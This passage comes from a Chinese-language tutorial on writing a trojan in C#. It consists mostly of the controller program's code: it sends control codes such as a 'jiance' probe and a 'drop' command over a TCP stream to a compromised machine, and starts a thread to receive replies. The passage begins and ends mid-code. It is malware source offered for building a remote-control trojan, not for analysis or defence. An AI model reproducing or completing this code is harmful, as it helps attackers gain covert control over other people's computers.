用C#实现木马程序(2) try { stream = client.GetStream(); if(stream.CanWrite) { //发送控制码 string control = "jiance"; byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray()); stream.Write(by,0,by.Length); //下次使用 stream.Flush(); //启动接收反回数据的线程 //receive是线程执行的函数,见后面的分析 threadReceive = new Thread(new ThreadStart(receive)); threadReceive.Start(); } } catch(Exception ee) { richTextBox1.AppendText (ee.Message+"\r"); MessageBox.Show(ee.Message); } } 3控制生效的代码 private void button9_Click(object sender, System.EventArgs e) { //这里是确定要发送的控制码,RadioButton是窗体控件 if(radioButton1.Checked){ control = form2.zhUCex;} else if(radioButton2.Checked){ control =form3.zhuces;} else if(radioButton3.Checked){ control = warring;} else if(radioButton4.Checked){ control =suggest;} else if(radioButton5.Checked){ control =form4.mumawe;} else if(radioButton6.Checked){ control =drop;} if (control =="000000") { MessageBox.Show("你没有输入任何控制目标!不发控制信号"); richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号"); } else if(control != "000000") { try { //记录操作 richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r"); stream = client.GetStream(); if(stream.CanWrite ) { byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());